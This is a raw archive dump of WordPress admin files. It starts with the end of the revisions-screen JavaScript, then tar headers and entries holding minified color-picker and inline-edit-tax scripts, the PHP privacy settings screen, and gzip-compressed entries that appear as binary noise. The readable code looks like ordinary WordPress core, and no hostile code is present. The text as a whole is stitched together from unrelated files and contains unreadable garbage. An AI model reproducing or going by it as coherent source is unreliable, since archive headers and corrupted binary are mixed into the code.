	// Encapsulates the tooltip.
	revisions.view.Tooltip = wp.Backbone.View.extend({
		className: 'revisions-tooltip',
		template: wp.template('revisions-meta'),

		initialize: function() {
			this.listenTo( this.model, 'change:offset', this.render );
			this.listenTo( this.model, 'change:hovering', this.toggleVisibility );
			this.listenTo( this.model, 'change:scrubbing', this.toggleVisibility );
		},

		prepare: function() {
			if ( _.isNull( this.model.get('revision') ) ) {
				return;
			} else {
				return _.extend( { type: 'tooltip' }, {
					attributes: this.model.get('revision').toJSON()
				});
			}
		},

		render: function() {
			var otherDirection,
				direction,
				directionVal,
				flipped,
				css      = {},
				position = this.model.revisions.indexOf( this.model.get('revision') ) + 1;

			flipped = ( position / this.model.revisions.length ) > 0.5;
			if ( isRtl ) {
				direction = flipped ? 'left' : 'right';
				directionVal = flipped ? 'leftPlusWidth' : direction;
			} else {
				direction = flipped ? 'right' : 'left';
				directionVal = flipped ? 'rightPlusWidth' : direction;
			}
			otherDirection = 'right' === direction ? 'left': 'right';
			wp.Backbone.View.prototype.render.apply( this, arguments );
			css[direction] = this.model.get('offset')[directionVal] + 'px';
			css[otherDirection] = '';
			this.$el.toggleClass( 'flipped', flipped ).css( css );
		},

		visible: function() {
			return this.model.get( 'scrubbing' ) || this.model.get( 'hovering' );
		},

		toggleVisibility: function() {
			if ( this.visible() ) {
				this.$el.stop().show().fadeTo( 100 - this.el.style.opacity * 100, 1 );
			} else {
				this.$el.stop().fadeTo( this.el.style.opacity * 300, 0, function(){ $(this).hide(); } );
			}
			return;
		}
	});

	// The buttons view.
	// Encapsulates all of the configuration for the previous/next buttons.
	revisions.view.Buttons = wp.Backbone.View.extend({
		className: 'revisions-buttons',
		template: wp.template('revisions-buttons'),

		events: {
			'click .revisions-next .button': 'nextRevision',
			'click .revisions-previous .button': 'previousRevision'
		},

		initialize: function() {
			this.listenTo( this.model, 'update:revisions', this.disabledButtonCheck );
		},

		ready: function() {
			this.disabledButtonCheck();
		},

		// Go to a specific model index.
		gotoModel: function( toIndex ) {
			var attributes = {
				to: this.model.revisions.at( toIndex )
			};
			// If we're at the first revision, unset 'from'.
			if ( toIndex ) {
				attributes.from = this.model.revisions.at( toIndex - 1 );
			} else {
				this.model.unset('from', { silent: true });
			}

			this.model.set( attributes );
		},

		// Go to the 'next' revision.
		nextRevision: function() {
			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) + 1;
			this.gotoModel( toIndex );
		},

		// Go to the 'previous' revision.
		previousRevision: function() {
			var toIndex = this.model.revisions.indexOf( this.model.get('to') ) - 1;
			this.gotoModel( toIndex );
		},

		// Check to see if the Previous or Next buttons need to be disabled or enabled.
		disabledButtonCheck: function() {
			var maxVal   = this.model.revisions.length - 1,
				minVal   = 0,
				next     = $('.revisions-next .button'),
				previous = $('.revisions-previous .button'),
				val      = this.model.revisions.indexOf( this.model.get('to') );

			// Disable "Next" button if you're on the last node.
			next.prop( 'disabled', ( maxVal === val ) );

			// Disable "Previous" button if you're on the first node.
			previous.prop( 'disabled', ( minVal === val ) );
		}
	});


	// The slider view.
	revisions.view.Slider = wp.Backbone.View.extend({
		className: 'wp-slider',
		direction: isRtl ? 'right' : 'left',

		events: {
			'mousemove' : 'mouseMove'
		},

		initialize: function() {
			_.bindAll( this, 'start', 'slide', 'stop', 'mouseMove', 'mouseEnter', 'mouseLeave' );
			this.listenTo( this.model, 'update:slider', this.applySliderSettings );
		},

		ready: function() {
			this.$el.css('width', ( this.model.revisions.length * 50 ) + 'px');
			this.$el.slider( _.extend( this.model.toJSON(), {
				start: this.start,
				slide: this.slide,
				stop:  this.stop
			}) );

			this.$el.hoverIntent({
				over: this.mouseEnter,
				out: this.mouseLeave,
				timeout: 800
			});

			this.applySliderSettings();
		},

		mouseMove: function( e ) {
			var zoneCount         = this.model.revisions.length - 1,       // One fewer zone than models.
				sliderFrom        = this.$el.allOffsets()[this.direction], // "From" edge of slider.
				sliderWidth       = this.$el.width(),                      // Width of slider.
				tickWidth         = sliderWidth / zoneCount,               // Calculated width of zone.
				actualX           = ( isRtl ? $(window).width() - e.pageX : e.pageX ) - sliderFrom, // Flipped for RTL - sliderFrom.
				currentModelIndex = Math.floor( ( actualX  + ( tickWidth / 2 )  ) / tickWidth );    // Calculate the model index.

			// Ensure sane value for currentModelIndex.
			if ( currentModelIndex < 0 ) {
				currentModelIndex = 0;
			} else if ( currentModelIndex >= this.model.revisions.length ) {
				currentModelIndex = this.model.revisions.length - 1;
			}

			// Update the tooltip mode.
			this.model.set({ hoveredRevision: this.model.revisions.at( currentModelIndex ) });
		},

		mouseLeave: function() {
			this.model.set({ hovering: false });
		},

		mouseEnter: function() {
			this.model.set({ hovering: true });
		},

		applySliderSettings: function() {
			this.$el.slider( _.pick( this.model.toJSON(), 'value', 'values', 'range' ) );
			var handles = this.$('a.ui-slider-handle');

			if ( this.model.get('compareTwoMode') ) {
				// In RTL mode the 'left handle' is the second in the slider, 'right' is first.
				handles.first()
					.toggleClass( 'to-handle', !! isRtl )
					.toggleClass( 'from-handle', ! isRtl );
				handles.last()
					.toggleClass( 'from-handle', !! isRtl )
					.toggleClass( 'to-handle', ! isRtl );
			} else {
				handles.removeClass('from-handle to-handle');
			}
		},

		start: function( event, ui ) {
			this.model.set({ scrubbing: true });

			// Track the mouse position to enable smooth dragging,
			// overrides default jQuery UI step behavior.
			$( window ).on( 'mousemove.wp.revisions', { view: this }, function( e ) {
				var handles,
					view              = e.data.view,
					leftDragBoundary  = view.$el.offset().left,
					sliderOffset      = leftDragBoundary,
					sliderRightEdge   = leftDragBoundary + view.$el.width(),
					rightDragBoundary = sliderRightEdge,
					leftDragReset     = '0',
					rightDragReset    = '100%',
					handle            = $( ui.handle );

				// In two handle mode, ensure handles can't be dragged past each other.
				// Adjust left/right boundaries and reset points.
				if ( view.model.get('compareTwoMode') ) {
					handles = handle.parent().find('.ui-slider-handle');
					if ( handle.is( handles.first() ) ) {
						// We're the left handle.
						rightDragBoundary = handles.last().offset().left;
						rightDragReset    = rightDragBoundary - sliderOffset;
					} else {
						// We're the right handle.
						leftDragBoundary = handles.first().offset().left + handles.first().width();
						leftDragReset    = leftDragBoundary - sliderOffset;
					}
				}

				// Follow mouse movements, as long as handle remains inside slider.
				if ( e.pageX < leftDragBoundary ) {
					handle.css( 'left', leftDragReset ); // Mouse to left of slider.
				} else if ( e.pageX > rightDragBoundary ) {
					handle.css( 'left', rightDragReset ); // Mouse to right of slider.
				} else {
					handle.css( 'left', e.pageX - sliderOffset ); // Mouse in slider.
				}
			} );
		},

		getPosition: function( position ) {
			return isRtl ? this.model.revisions.length - position - 1: position;
		},

		// Responds to slide events.
		slide: function( event, ui ) {
			var attributes, movedRevision;
			// Compare two revisions mode.
			if ( this.model.get('compareTwoMode') ) {
				// Prevent sliders from occupying same spot.
				if ( ui.values[1] === ui.values[0] ) {
					return false;
				}
				if ( isRtl ) {
					ui.values.reverse();
				}
				attributes = {
					from: this.model.revisions.at( this.getPosition( ui.values[0] ) ),
					to: this.model.revisions.at( this.getPosition( ui.values[1] ) )
				};
			} else {
				attributes = {
					to: this.model.revisions.at( this.getPosition( ui.value ) )
				};
				// If we're at the first revision, unset 'from'.
				if ( this.getPosition( ui.value ) > 0 ) {
					attributes.from = this.model.revisions.at( this.getPosition( ui.value ) - 1 );
				} else {
					attributes.from = undefined;
				}
			}
			movedRevision = this.model.revisions.at( this.getPosition( ui.value ) );

			// If we are scrubbing, a scrub to a revision is considered a hover.
			if ( this.model.get('scrubbing') ) {
				attributes.hoveredRevision = movedRevision;
			}

			this.model.set( attributes );
		},

		stop: function() {
			$( window ).off('mousemove.wp.revisions');
			this.model.updateSliderSettings(); // To snap us back to a tick mark.
			this.model.set({ scrubbing: false });
		}
	});

	// The diff view.
	// This is the view for the current active diff.
	revisions.view.Diff = wp.Backbone.View.extend({
		className: 'revisions-diff',
		template:  wp.template('revisions-diff'),

		// Generate the options to be passed to the template.
		prepare: function() {
			return _.extend({ fields: this.model.fields.toJSON() }, this.options );
		}
	});

	// The revisions router.
	// Maintains the URL routes so browser URL matches state.
	revisions.Router = Backbone.Router.extend({
		initialize: function( options ) {
			this.model = options.model;

			// Maintain state and history when navigating.
			this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
			this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
		},

		baseUrl: function( url ) {
			return this.model.get('baseUrl') + url;
		},

		updateUrl: function() {
			var from = this.model.has('from') ? this.model.get('from').id : 0,
				to   = this.model.get('to').id;
			if ( this.model.get('compareTwoMode' ) ) {
				this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
			} else {
				this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
			}
		},

		handleRoute: function( a, b ) {
			var compareTwo = _.isUndefined( b );

			if ( ! compareTwo ) {
				b = this.model.revisions.get( a );
				a = this.model.revisions.prev( b );
				b = b ? b.id : 0;
				a = a ? a.id : 0;
			}
		}
	});

	/**
	 * Initialize the revisions UI for revision.php.
	 */
	revisions.init = function() {
		var state;

		// Bail if the current page is not revision.php.
		if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
			return;
		}

		state = new revisions.model.FrameState({
			initialDiffState: {
				// wp_localize_script doesn't stringifies ints, so cast them.
				to: parseInt( revisions.settings.to, 10 ),
				from: parseInt( revisions.settings.from, 10 ),
				// wp_localize_script does not allow for top-level booleans so do a comparator here.
				compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
			},
			diffData: revisions.settings.diffData,
			baseUrl: revisions.settings.baseUrl,
			postId: parseInt( revisions.settings.postId, 10 )
		}, {
			revisions: new revisions.model.Revisions( revisions.settings.revisionData )
		});

		revisions.view.frame = new revisions.view.Frame({
			model: state
		}).render();
	};

	$( revisions.init );
}(jQuery));
color-picker.min.js000064400000006636150276633110010274 0ustar00/*! This file is auto-generated */
!function(i,t){var a=wp.i18n.__;i.widget("wp.wpColorPicker",{options:{defaultColor:!1,change:!1,clear:!1,hide:!0,palettes:!0,width:255,mode:"hsv",type:"full",slider:"horizontal"},_createHueOnly:function(){var e,o=this,t=o.element;t.hide(),e="hsl("+t.val()+", 100, 50)",t.iris({mode:"hsl",type:"hue",hide:!1,color:e,change:function(e,t){"function"==typeof o.options.change&&o.options.change.call(this,e,t)},width:o.options.width,slider:o.options.slider})},_create:function(){if(i.support.iris){var o=this,e=o.element;if(i.extend(o.options,e.data()),"hue"===o.options.type)return o._createHueOnly();o.close=o.close.bind(o),o.initialValue=e.val(),e.addClass("wp-color-picker"),e.parent("label").length||(e.wrap("<label></label>"),o.wrappingLabelText=i('<span class="screen-reader-text"></span>').insertBefore(e).text(a("Color value"))),o.wrappingLabel=e.parent(),o.wrappingLabel.wrap('<div class="wp-picker-container" />'),o.wrap=o.wrappingLabel.parent(),o.toggler=i('<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>').insertBefore(o.wrappingLabel).css({backgroundColor:o.initialValue}),o.toggler.find(".wp-color-result-text").text(a("Select Color")),o.pickerContainer=i('<div class="wp-picker-holder" />').insertAfter(o.wrappingLabel),o.button=i('<input type="button" class="button button-small" />'),o.options.defaultColor?o.button.addClass("wp-picker-default").val(a("Default")).attr("aria-label",a("Select default color")):o.button.addClass("wp-picker-clear").val(a("Clear")).attr("aria-label",a("Clear color")),o.wrappingLabel.wrap('<span class="wp-picker-input-wrap hidden" />').after(o.button),o.inputWrapper=e.closest(".wp-picker-input-wrap"),e.iris({target:o.pickerContainer,hide:o.options.hide,width:o.options.width,mode:o.options.mode,palettes:o.options.palettes,change:function(e,t){o.toggler.css({backgroundColor:t.color.toString()}),"function"==typeof o.options.change&&o.options.change.call(this,e,t)}}),e.val(o.initialValue),o._addListeners(),o.options.hide||o.toggler.click()}},_addListeners:function(){var o=this;o.wrap.on("click.wpcolorpicker",function(e){e.stopPropagation()}),o.toggler.on("click",function(){o.toggler.hasClass("wp-picker-open")?o.close():o.open()}),o.element.on("change",function(e){var t=i(this).val();""!==t&&"#"!==t||(o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e))}),o.button.on("click",function(e){var t=i(this);t.hasClass("wp-picker-clear")?(o.element.val(""),o.toggler.css("backgroundColor",""),"function"==typeof o.options.clear&&o.options.clear.call(this,e)):t.hasClass("wp-picker-default")&&o.element.val(o.options.defaultColor).change()})},open:function(){this.element.iris("toggle"),this.inputWrapper.removeClass("hidden"),this.wrap.addClass("wp-picker-active"),this.toggler.addClass("wp-picker-open").attr("aria-expanded","true"),i("body").trigger("click.wpcolorpicker").on("click.wpcolorpicker",this.close)},close:function(){this.element.iris("toggle"),this.inputWrapper.addClass("hidden"),this.wrap.removeClass("wp-picker-active"),this.toggler.removeClass("wp-picker-open").attr("aria-expanded","false"),i("body").off("click.wpcolorpicker",this.close)},color:function(e){if(e===t)return this.element.iris("option","color");this.element.iris("option","color",e)},defaultColor:function(e){if(e===t)return this.options.defaultColor;this.options.defaultColor=e}})}(jQuery);moderation.php.php.tar.gz000064400000000457150276633110011422 0ustar00�풱N�0�;�)nK��Ӗd� X�P:Z&9ш����K@Bb�C���;�?���Q�i�[�Qg�E�s��&����L6�ՙ2
Z*3:���(8Q,�����b���y�(ʂb��r�s���|��lI�7��!�+'˒�A�F)�nއ
a������:��P�Ʀ�X{��~V���IV�B��ޝ
"g
��;Y?�����-Y�v]����NٌY|�IT]#���
c��z-L!�(�vgd��*�����f��]��;���i���둍����/Q��Xoptions-privacy.php.tar000064400000027000150276633110011213 0ustar00home/natitnen/crestassured.com/wp-admin/options-privacy.php000064400000023742150271073600020204 0ustar00<?php
/**
 * Privacy Settings Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_privacy_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage privacy options on this site.' ) );
}

if ( isset( $_GET['tab'] ) && 'policyguide' === $_GET['tab'] ) {
	require_once __DIR__ . '/privacy-policy-guide.php';
	return;
}

// Used in the HTML title tag.
$title = __( 'Privacy' );

add_filter(
	'admin_body_class',
	static function ( $body_class ) {
		$body_class .= ' privacy-settings ';

		return $body_class;
	}
);

$action = isset( $_POST['action'] ) ? $_POST['action'] : '';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
				'<p>' . __( 'The Privacy screen lets you either build a new privacy-policy page or choose one you already have to show.' ) . '</p>' .
				'<p>' . __( 'This screen includes suggestions to help you write your own privacy policy. However, it is your responsibility to use these resources correctly, to provide the information required by your privacy policy, and to keep this information current and accurate.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-privacy-screen/">Documentation on Privacy Settings</a>' ) . '</p>'
);

if ( ! empty( $action ) ) {
	check_admin_referer( $action );

	if ( 'set-privacy-page' === $action ) {
		$privacy_policy_page_id = isset( $_POST['page_for_privacy_policy'] ) ? (int) $_POST['page_for_privacy_policy'] : 0;
		update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

		$privacy_page_updated_message = __( 'Privacy Policy page updated successfully.' );

		if ( $privacy_policy_page_id ) {
			/*
			 * Don't always link to the menu customizer:
			 *
			 * - Unpublished pages can't be selected by default.
			 * - `WP_Customize_Nav_Menus::__construct()` checks the user's capabilities.
			 * - Themes might not "officially" support menus.
			 */
			if (
				'publish' === get_post_status( $privacy_policy_page_id )
				&& current_user_can( 'edit_theme_options' )
				&& current_theme_supports( 'menus' )
			) {
				$privacy_page_updated_message = sprintf(
					/* translators: %s: URL to Customizer -> Menus. */
					__( 'Privacy Policy page setting updated successfully. Remember to <a href="%s">update your menus</a>!' ),
					esc_url( add_query_arg( 'autofocus[panel]', 'nav_menus', admin_url( 'customize.php' ) ) )
				);
			}
		}

		add_settings_error( 'page_for_privacy_policy', 'page_for_privacy_policy', $privacy_page_updated_message, 'success' );
	} elseif ( 'create-privacy-page' === $action ) {

		if ( ! class_exists( 'WP_Privacy_Policy_Content' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';
		}

		$privacy_policy_page_content = WP_Privacy_Policy_Content::get_default_content();
		$privacy_policy_page_id      = wp_insert_post(
			array(
				'post_title'   => __( 'Privacy Policy' ),
				'post_status'  => 'draft',
				'post_type'    => 'page',
				'post_content' => $privacy_policy_page_content,
			),
			true
		);

		if ( is_wp_error( $privacy_policy_page_id ) ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				__( 'Unable to create a Privacy Policy page.' ),
				'error'
			);
		} else {
			update_option( 'wp_page_for_privacy_policy', $privacy_policy_page_id );

			wp_redirect( admin_url( 'post.php?post=' . $privacy_policy_page_id . '&action=edit' ) );
			exit;
		}
	}
}

// If a Privacy Policy page ID is available, make sure the page actually exists. If not, display an error.
$privacy_policy_page_exists = false;
$privacy_policy_page_id     = (int) get_option( 'wp_page_for_privacy_policy' );

if ( ! empty( $privacy_policy_page_id ) ) {

	$privacy_policy_page = get_post( $privacy_policy_page_id );

	if ( ! $privacy_policy_page instanceof WP_Post ) {
		add_settings_error(
			'page_for_privacy_policy',
			'page_for_privacy_policy',
			__( 'The currently selected Privacy Policy page does not exist. Please create or select a new page.' ),
			'error'
		);
	} else {
		if ( 'trash' === $privacy_policy_page->post_status ) {
			add_settings_error(
				'page_for_privacy_policy',
				'page_for_privacy_policy',
				sprintf(
					/* translators: %s: URL to Pages Trash. */
					__( 'The currently selected Privacy Policy page is in the Trash. Please create or select a new Privacy Policy page or <a href="%s">restore the current page</a>.' ),
					'edit.php?post_status=trash&post_type=page'
				),
				'error'
			);
		} else {
			$privacy_policy_page_exists = true;
		}
	}
}

$parent_file = 'options-general.php';

wp_enqueue_script( 'privacy-tools' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="privacy-settings-header">
	<div class="privacy-settings-title-section">
		<h1>
			<?php _e( 'Privacy' ); ?>
		</h1>
	</div>

	<nav class="privacy-settings-tabs-wrapper hide-if-no-js" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="<?php echo esc_url( admin_url( 'options-privacy.php' ) ); ?>" class="privacy-settings-tab active" aria-current="true">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Settings', 'Privacy Settings' );
			?>
		</a>

		<a href="<?php echo esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ); ?>" class="privacy-settings-tab">
			<?php
			/* translators: Tab heading for Site Health Status page. */
			_ex( 'Policy Guide', 'Privacy Settings' );
			?>
		</a>
	</nav>
</div>

<hr class="wp-header-end">

<?php
wp_admin_notice(
	__( 'The Privacy Settings require JavaScript.' ),
	array(
		'type'               => 'error',
		'additional_classes' => array( 'hide-if-js' ),
	)
);
?>

<div class="privacy-settings-body hide-if-no-js">
	<h2><?php _e( 'Privacy Settings' ); ?></h2>
	<p>
		<?php _e( 'As a website owner, you may need to follow national or international privacy laws. For example, you may need to create and display a privacy policy.' ); ?>
		<?php _e( 'If you already have a Privacy Policy page, please select it below. If not, please create one.' ); ?>
	</p>
	<p>
		<?php _e( 'The new page will include help and suggestions for your privacy policy.' ); ?>
		<?php _e( 'However, it is your responsibility to use those resources correctly, to provide the information that your privacy policy requires, and to keep that information current and accurate.' ); ?>
	</p>
	<p>
		<?php _e( 'After your Privacy Policy page is set, you should edit it.' ); ?>
		<?php _e( 'You should also review your privacy policy from time to time, especially after installing or updating any themes or plugins. There may be changes or new suggested information for you to consider adding to your policy.' ); ?>
	</p>
	<p>
		<?php
		if ( $privacy_policy_page_exists ) {
			$edit_href = add_query_arg(
				array(
					'post'   => $privacy_policy_page_id,
					'action' => 'edit',
				),
				admin_url( 'post.php' )
			);
			$view_href = get_permalink( $privacy_policy_page_id );
			?>
				<strong>
				<?php
				if ( 'publish' === get_post_status( $privacy_policy_page_id ) ) {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to view Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">view</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				} else {
					printf(
						/* translators: 1: URL to edit Privacy Policy page, 2: URL to preview Privacy Policy page. */
						__( '<a href="%1$s">Edit</a> or <a href="%2$s">preview</a> your Privacy Policy page content.' ),
						esc_url( $edit_href ),
						esc_url( $view_href )
					);
				}
				?>
				</strong>
			<?php
		}
		printf(
			/* translators: 1: Privacy Policy guide URL, 2: Additional link attributes, 3: Accessibility text. */
			__( 'Need help putting together your new Privacy Policy page? <a href="%1$s" %2$s>Check out our privacy policy guide%3$s</a> for recommendations on what content to include, along with policies suggested by your plugins and theme.' ),
			esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) ),
			'',
			''
		);
		?>
	</p>
	<hr>
	<?php
	$has_pages = (bool) get_posts(
		array(
			'post_type'      => 'page',
			'posts_per_page' => 1,
			'post_status'    => array(
				'publish',
				'draft',
			),
		)
	);
	?>
	<table class="form-table tools-privacy-policy-page" role="presentation">
		<tr>
			<th scope="row">
				<label for="create-page">
				<?php
				if ( $has_pages ) {
					_e( 'Create a new Privacy Policy page' );
				} else {
					_e( 'There are no pages.' );
				}
				?>
				</label>
			</th>
			<td>
				<form class="wp-create-privacy-page" method="post" action="">
					<input type="hidden" name="action" value="create-privacy-page" />
					<?php
					wp_nonce_field( 'create-privacy-page' );
					submit_button( __( 'Create' ), 'secondary', 'submit', false, array( 'id' => 'create-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php if ( $has_pages ) : ?>
		<tr>
			<th scope="row">
				<label for="page_for_privacy_policy">
					<?php
					if ( $privacy_policy_page_exists ) {
						_e( 'Change your Privacy Policy page' );
					} else {
						_e( 'Select a Privacy Policy page' );
					}
					?>
				</label>
			</th>
			<td>
				<form method="post" action="">
					<input type="hidden" name="action" value="set-privacy-page" />
					<?php
					wp_dropdown_pages(
						array(
							'name'              => 'page_for_privacy_policy',
							'show_option_none'  => __( '&mdash; Select &mdash;' ),
							'option_none_value' => '0',
							'selected'          => $privacy_policy_page_id,
							'post_status'       => array( 'draft', 'publish' ),
						)
					);

					wp_nonce_field( 'set-privacy-page' );

					submit_button( __( 'Use This Page' ), 'primary', 'submit', false, array( 'id' => 'set-page' ) );
					?>
				</form>
			</td>
		</tr>
		<?php endif; ?>
	</table>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
inline-edit-tax.min.js.tar000064400000011000150276633110011440 0ustar00home/natitnen/crestassured.com/wp-admin/js/inline-edit-tax.min.js000064400000005665150262253710021062 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},function(s,l){window.inlineEditTax={init:function(){var t=this,i=s("#inline-edit");t.type=s("#the-list").attr("data-wp-lists").substr(5),t.what="#"+t.type+"-",s("#the-list").on("click",".editinline",function(){s(this).attr("aria-expanded","true"),inlineEditTax.edit(this)}),i.on("keyup",function(t){if(27===t.which)return inlineEditTax.revert()}),s(".cancel",i).on("click",function(){return inlineEditTax.revert()}),s(".save",i).on("click",function(){return inlineEditTax.save(this)}),s("input, select",i).on("keydown",function(t){if(13===t.which)return inlineEditTax.save(this)}),s('#posts-filter input[type="submit"]').on("mousedown",function(){t.revert()})},toggle:function(t){var i=this;"none"===s(i.what+i.getId(t)).css("display")?i.revert():i.edit(t)},edit:function(t){var i,e,n=this;return n.revert(),"object"==typeof t&&(t=n.getId(t)),i=s("#inline-edit").clone(!0),e=s("#inline_"+t),s("td",i).attr("colspan",s("th:visible, td:visible",".wp-list-table.widefat:first thead").length),s(n.what+t).hide().after(i).after('<tr class="hidden"></tr>'),(n=s(".name",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="name"]',i).val(n),(n=s(".slug",e)).find("img").replaceWith(function(){return this.alt}),n=n.text(),s(':input[name="slug"]',i).val(n),s(i).attr("id","edit-"+t).addClass("inline-editor").show(),s(".ptitle",i).eq(0).trigger("focus"),!1},save:function(d){var t=s('input[name="taxonomy"]').val()||"";return"object"==typeof d&&(d=this.getId(d)),s("table.widefat .spinner").addClass("is-active"),t={action:"inline-save-tax",tax_type:this.type,tax_ID:d,taxonomy:t},t=s("#edit-"+d).find(":input").serialize()+"&"+s.param(t),s.post(ajaxurl,t,function(t){var i,e,n,a=s("#edit-"+d+" .inline-edit-save .notice-error"),r=a.find(".error");s("table.widefat .spinner").removeClass("is-active"),t?-1!==t.indexOf("<tr")?(s(inlineEditTax.what+d).siblings("tr.hidden").addBack().remove(),e=s(t).attr("id"),s("#edit-"+d).before(t).remove(),i=e?(n=e.replace(inlineEditTax.type+"-",""),s("#"+e)):(n=d,s(inlineEditTax.what+d)),s("#parent").find("option[value="+n+"]").text(i.find(".row-title").text()),i.hide().fadeIn(400,function(){i.find(".editinline").attr("aria-expanded","false").trigger("focus"),l.a11y.speak(l.i18n.__("Changes saved."))})):(a.removeClass("hidden"),r.html(t),l.a11y.speak(r.text())):(a.removeClass("hidden"),r.text(l.i18n.__("Error while saving the changes.")),l.a11y.speak(l.i18n.__("Error while saving the changes.")))}),!1},revert:function(){var t=s("table.widefat tr.inline-editor").attr("id");t&&(s("table.widefat .spinner").removeClass("is-active"),s("#"+t).siblings("tr.hidden").addBack().remove(),t=t.substr(t.lastIndexOf("-")+1),s(this.what+t).show().find(".editinline").attr("aria-expanded","false").trigger("focus"))},getId:function(t){t=("TR"===t.tagName?t.id:s(t).parents("tr").attr("id")).split("-");return t[t.length-1]}},s(function(){inlineEditTax.init()})}(jQuery,window.wp);post.min.js.min.js.tar.gz000064400000014356150276633110011267 0ustar00��<ks�F��|��c	����.)�����&Y_�Tj�����P�@�V���y�IIN]�݇0U19Ϟ~wO�6ٖ���3���4*h�IYV��(۞�r��[��~.O��|>�_}�g�o_�l�_��|��ɫ�ٷ/'��^�A��O�Wck�e��O.`��^�?��Y�7��V,��K*��k�҂p[ߜ�ǎ�q��䊾K�5��LXtE�	
U'6��Ŗ$,�
WUq���{w��<4�{h7�J���&	wy�&N��b��ni����MxW���[S>5ӹG�,�p��䳂�H-�sҐ�gcO4�$�^�����1���2g)�vǗ	��c��'��5�]��wDl9�_ϵ�mө]�t�P�[���f�fiD��,�Pce+lpM�rяb���iE~�S��vI�)����8�nU$�Q��;�z��%�o��2�ҒBo��;��[��v��
�f�tv��L#n�!��i����1��r�����u��j4�	+qW��4���� &��7�Gd����i�$$�! ?�-�&<��|��
N����E�A���$s�
�q�C]1A�aI\���FNo���:�mVP����	�bp=��=�ZeU0y�0�N�yqq�c���9IC�̾8)�/�슦#�������v�]�hr�%��-N��~�����Z���6�f%�8���F��=�to�����(�NM	K������p���%��$��-Ar���^�7��P�iX:',�+�$�����z�������s"@��ϩ������|���рp^S�Ȗ�h�~��4:uG�Ǐ�`���j"�@�E����}궸�Q���@m{B�Y<�������b���S�F�}~���l��s�,�����޷�=F�����1/�*��4��*�p���/����Z`�/n-b�l�� 0�sm�V��}f@����	D�iCA�-)�~	�`�`�'Yte{Cz]�Q�|Ib�F	����w�3"�.��s���$[�>>v�@� $�q`�\�~�����5�Oa
����=|� �\�v�N�v\ZY1wX8|��`G,`0��cXL+Z��\S�զ
힦q��13(iqM���J��\��
Kز�8$
A
�����@%V)j*�A��ڳł��`�5-�A���X
�5X�bQ�Vp�9ۮ��ۻ�dj�!������o2�� �1�L�}�m([o8~#	�ڶ�M�} C��g7��]#�:�re,��+@�c���i��I�]���c�qq�2]rjU�ir�#r%Q�*k��-�~���W�VH!رW�,h��x)�	��u@0�a�Io�а��S��%x�-���cr������mV�����jC��x�~x����/����h����;��	���߇�:�E�@~q���B�9ԡgu�?��B.i�:P������z6�j*��L�YP��g�����{��Y�&�b����X���{�}�ޓf;,�ӡ�4��8d9l�p=�ش�?�PP����`�t�gM-�!��#���4u W�:�u��[���jYA�)���f��£g�z�*k�(���	��7	(X^Ǵt��S�#��)
L?��H™�ި$�@���4yF��fۍ$L�Q���z��y�W@�y�W�f��4�
~��]��1����e��2.M����vf�/�K��I0(q���_��\���U=ZyU���ёBF
�fM8�E�+u�=>�'Gax�ܘ���O$��nCp�|��"��w����֯�%���w[�?D�M#�.�7� �A����kd�Oo .���;�<�w�"g��_�}�*q���
�Qs~"|���j����^�o R��qo���h}�(,<O%���u�AĨ?�����8BOƟ�A�iۈ�<˒%��u���P��d��1F��s����c�����l��2�/��#�ٝ:U���T�i���u	�KDc~���+�0忂���ʱi�#=EF�LKtt�ׂg�uBKI������B�c{���y�l�"��]\TDW����׋�f�( �mX����br�, �/�Eن;�a~�a+�wz;<cP�v<�7�8�����tP�N��V�����P7�X�qX#�}� �F��T4�z�-Q�M^��nՎS��<��[ڈSϒ#���#L�5<�>9C��Y�1+1i����}�]*��(��Rl�I],%ANm���^sf�r���Tм��Q�&D_+Py0��+о�Q8�NF��/`o�V͖��b��m���A�\W&
�&���(�J-���m�������c��2a�}�f
b���ٖ|������Y6�r�z0K[���0��E�����:3�r� ���A�n��H\U�d$�1�+�ڪV@��������lG�K�����t�;�q���5J��=";�j�Yb/m���߶��0Mx
e��dE
��̟���hSd[��$�����dӑ=�=rзxA���8�я�'�]M]U4l@�̕�hl�p��T�����"`�Ukf!^`<������U�E$m���G5�7ᕃ�Q�)�hRR!��R�J6g}k}�g�{�$�". ��.n�IU��@�ڈ\����Ca��Zs)�I����KG�ű���Ly�{�	��dī�J"�e�9�AE�TT:z�k��	K�-d���f�����1��}'m�۾�-��o0�tY���7��N䎬7����ٷ�IGt���
